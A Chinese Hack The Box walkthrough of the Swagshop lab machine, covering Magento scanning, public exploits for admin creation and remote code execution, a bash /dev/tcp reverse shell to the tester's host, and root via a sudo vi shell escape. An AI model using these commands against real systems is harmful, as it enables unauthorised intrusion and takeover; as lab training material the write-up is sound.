【HTB系列】 靶机Swagshop的渗透测试详解 – 作者:shuteer

本文作者:是大方子(Ms08067实验室核心成员)

总结与反思

使用vi提权

magento漏洞的利用

magescan 工具的使用

靶机介绍

1614831550_60405fbe128858784bba4.png!small

靶机IP:10.10.10.140

kali:10.10.12.69

先用nmap来对靶机进行探测

nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140

扫描结果

# Nmap 7.80 scan initiated Fri Oct 4 13:24:03 2019 as: nmap ‐sC ‐sV ‐T 5
‐oA Swagshop.nmap 10.10.10.140
Warning: 10.10.10.140 giving up on port because retransmission cap hit
(2).
Nmap scan report for 10.10.10.140
Host is up (0.33s latency).
Not shown: 855 closed ports, 143 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol
2.0)
| ssh‐hostkey:
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http‐title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
# Nmap done at Fri Oct 4 13:25:16 2019 ‐‐ 1 IP address (1 host up) scann
ed in 73.75 seconds

开放了22 和 80端口,直接打开访问下网页

1614831914_6040612a6c3de308b9799.png!small

Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。

设计得非常灵活,具有模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。在设计

上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富

接下来就是网页上进行信息收集。
首先是下面的版权,2014年可以为找漏洞的线索

1614831934_6040613e6224c32a391f0.png!small

我们随便点开网页有一个比较奇怪的地方,感觉像是URL重写,前面都会多一个index.php

1614831944_60406148d3d46ece39f31.png!small

通过gubuster,跑出来的目录也没有什么用

1614831955_6040615313497bb9254bb.png!small

这样收集的信息也不是很够,我们还需要另外的工具进行辅助

magescan 专门针对magento的扫描器

下载地址:https://github.com/steverobbins/magescan/releases

>php magescan.phar scan:all http://10.10.10.140

 Scanning http://10.10.10.140/...


 Magento Information


 +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
 | Parameter | Value |
 +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
 | Edition | Community |
 | Version | 1.9.0.0, 1.9.0.1 |
 +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+


 Installed Modules


 No detectable modules were found


 Catalog Information


 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
 | Type | Count |
 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
 | Categories | Unknown |
 | Products | Unknown |
 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+


 Patches


 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
 | Name | Status |
 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
 | SUPEE‐5344 | Unknown |
 | SUPEE‐5994 | Unknown |
 | SUPEE‐6285 | Unknown |
 | SUPEE‐6482 | Unknown |
 | SUPEE‐6788 | Unknown |
 | SUPEE‐7405 | Unknown |
 | SUPEE‐8788 | Unknown |
 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+


 Sitemap


 Sitemap is not declared in robots.txt
 Sitemap is not accessible: http://10.10.10.140/sitemap.xml


 Server Technology


 +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
 | Key | Value |
 +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
 | Server | Apache/2.4.18 (Ubuntu) |
 +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+


 Unreachable Path Check


 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
+
 | Path | Response Code | Status |
 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
+
 | .bzr/ | 404 | Pass |
 | .cvs/ | 404 | Pass |
 | .git/ | 404 | Pass |
 | .git/config | 404 | Pass |
 | .git/refs/ | 404 | Pass |
 | .gitignore | 404 | Pass |
 | .hg/ | 404 | Pass |
 | .idea | 404 | Pass |
 | .svn/ | 404 | Pass |
 | .svn/entries | 404 | Pass |
 | admin/ | 404 | Pass |
 | admin123/ | 404 | Pass |
 | adminer.php | 404 | Pass |
 | administrator/ | 404 | Pass |
 | adminpanel/ | 404 | Pass |
 | aittmp/index.php | 404 | Pass |
 | app/etc/enterprise.xml | 404 | Pass |
 | app/etc/local.xml | 200 | Fail |
 | backend/ | 404 | Pass |
 | backoffice/ | 404 | Pass |
 | beheer/ | 404 | Pass |
 | capistrano/config/deploy.rb | 404 | Pass |
 | chive | 404 | Pass |
 | composer.json | 404 | Pass |
 | composer.lock | 404 | Pass |
 | vendor/composer/installed.json | 404 | Pass |
 | config/deploy.rb | 404 | Pass |
 | control/ | 404 | Pass |
 | dev/tests/functional/etc/config.xml | 404 | Pass |
 | downloader/index.php | 404 | Pass |
 | index.php/rss/order/NEW/new | 200 | Fail |
 | info.php | 404 | Pass |
 | mageaudit.php | 404 | Pass |
 | magmi/ | 404 | Pass |
 | magmi/conf/magmi.ini | 404 | Pass |
 | magmi/web/magmi.php | 404 | Pass |
 | Makefile | 404 | Pass |
 | manage/ | 404 | Pass |
 | management/ | 404 | Pass |
 | manager/ | 404 | Pass |
 | modman | 404 | Pass |
 | p.php | 404 | Pass |
 | panel/ | 404 | Pass |
 | phpinfo.php | 404 | Pass |
 | phpmyadmin | 404 | Pass |
 | README.md | 404 | Pass |
 | README.txt | 404 | Pass |
 | shell/ | 200 | Fail |
 | shopadmin/ | 404 | Pass |
 | site_admin/ | 404 | Pass |
 | var/export/ | 404 | Pass |
 | var/export/export_all_products.csv | 404 | Pass |
 | var/export/export_customers.csv | 404 | Pass |
 | var/export/export_product_stocks.csv | 404 | Pass |
 | var/log/ | 404 | Pass |
 | var/log/exception.log | 404 | Pass |
 | var/log/payment_authnetcim.log | 404 | Pass |
 | var/log/payment_authorizenet.log | 404 | Pass |
 | var/log/payment_authorizenet_directpost.log | 404 | Pass |
 | var/log/payment_cybersource_soap.log | 404 | Pass |
 | var/log/payment_ogone.log | 404 | Pass |
 | var/log/payment_payflow_advanced.log | 404 | Pass |
 | var/log/payment_payflow_link.log | 404 | Pass |
 | var/log/payment_paypal_billing_agreement.log | 404 | Pass |
 | var/log/payment_paypal_direct.log | 404 | Pass |
 | var/log/payment_paypal_express.log | 404 | Pass |
 | var/log/payment_paypal_standard.log | 404 | Pass |
 | var/log/payment_paypaluk_express.log | 404 | Pass |
 | var/log/payment_pbridge.log | 404 | Pass |
 | var/log/payment_verisign.log | 404 | Pass |
 | var/log/system.log | 404 | Pass |
 | var/report/ | 404 | Pass |
 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
+

从扫描结果我们可以看到magento的版本大概为1.9.0.0, 1.9.0.1。

敏感路径:

/app/etc/local.xml(有线索)/index.php/rss/order/NEW/new(无用)/shopadmin/

1614832005_6040618540c830bb55593.png!small

接下来用searchsploit来找下magento现在已经的漏洞

1614832014_6040618e362550ef91368.png!small

通过 -x 参数可以看到这些EXP的内容

1614832024_60406198293db9ef9b341.png!small

主要是用到这两个:

第一个,用来进行远程代码执行(但是需要通过身份验证) 。

第二个,可以用来创建管理员账号密码(给第一个EXP的利用创造条件)。
先试用第二个EXP,创建管理员账号密码 通过-m 参数可以吧EXP复制到当前路径

1614832045_604061ad0e2829a95964a.png!small

然后对EXP进行修改,这里修改3个地方。

1.在之前我们也看到,网页前面都会增加index.php,所以这里我们也要加,否则。。。。你自己可以试试看会是包
1614832062_604061beeec536ca978f0.png!small
2. 这里修改我们增加管理的账号密码
1614832104_604061e85f8fcd71ac62f.png!small
3. 修改下输出信息,方便成功后能直观看到我们的账号密码
1614832111_604061ef87e9757c41eca.png!small然后执行下
1614832120_604061f8eba653537df38.png!small我们尝试登录下
1614832130_60406202793c446f7c005.png!small成功登录
1614832138_6040620a7ebe1fa68c5ae.png!small接下来就是利用另一个EXP,来进行远程代码执行
1614832146_60406212eea5efa190369.png!small重新编辑下EXP
1614832155_6040621bb1278a588581d.png!small我们可以看到我们需要配置的地方

username:dfz password:dfz php_function:我们不需要修改 install_data:在上面我们发现的/app/etc/local.xml可以查询到

1614832191_6040623f0bac5f22f35e4.png!small配置好的信息如下:
1614832205_6040624d815bffbd2290e.png!small开始执行
1614832213_60406255a0e27e77de356.png!small可以看到mechanize报了一个找不到元素的错,mechanize是python里面模拟浏览器操作的模块。结合它需要管理员账号密码,这里应该填的是管理员页面地址。
可以看到命令执行成功
1614832225_60406261a39e860a9b581.png!small那么我们就用它反弹shell
1614832234_6040626a7a72fd4bf3b01.png!small无法正常反弹!
这里猜测,可能是因为这串代码传到服务器的时候 可能因为空格或者是其他的异常的符导致服务器执行失败。之前我们看到whoami命令是可以正常执行的。那么我们就把代码换成这样

python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "

这样当服务器解析到bash -c 时 可以把后面单引号内的内容执行,防止意外干扰
1614832260_6040628449adb39a5b01c.png!small成功!!!我们看下自己的sudo权限
1614832268_6040628c0e70205032df2.png!small可以看到我们使用vi和使用目录/var/www/html是不需要密码就能获得root权限的。

第一反应就是使用vi来进行提权,先使用python的pty

python ‐c "import pty;pty.spawn('/bin/bash')"

1614832313_604062b921af38313e7e3.png!small发现没有python,但是我们可以用python3

python3 ‐c "import pty;pty.spawn('/bin/bash')"

1614832339_604062d32bbbdcde64fd1.png!small然后在处理方向键等乱码问题。
先ctrl+z 把进程挂到后台,然后输入stty raw -echo,在输入fg(不会显示出来),多按几次回车即可
1614832348_604062dcee00219444d12.png!small然后需要使用vi进行提权,需要注意的是:

1. 要增加sudo
2. vi要输入文件的绝对路径

sudo vi /var/www/html/sdfzy
vi开启后进入命令行模式,然后执行命令
:!/bin/bash
![1614832372_604062f4caf48a430b1d7.png!small](https://image.3001.net/images/20210304/1614832372_604062f4caf48a430b1d7.png!small)

1614832381_604062fd8501b028b96b6.png!small即可拿到root权限!

MS08067实验室官网:www.ms08067.com
公众号:” Ms08067安全实验室”
Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门
最后期待各位小伙伴的加入!

来源:freebuf.com 2021-03-04 12:43:18 by: shuteer

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论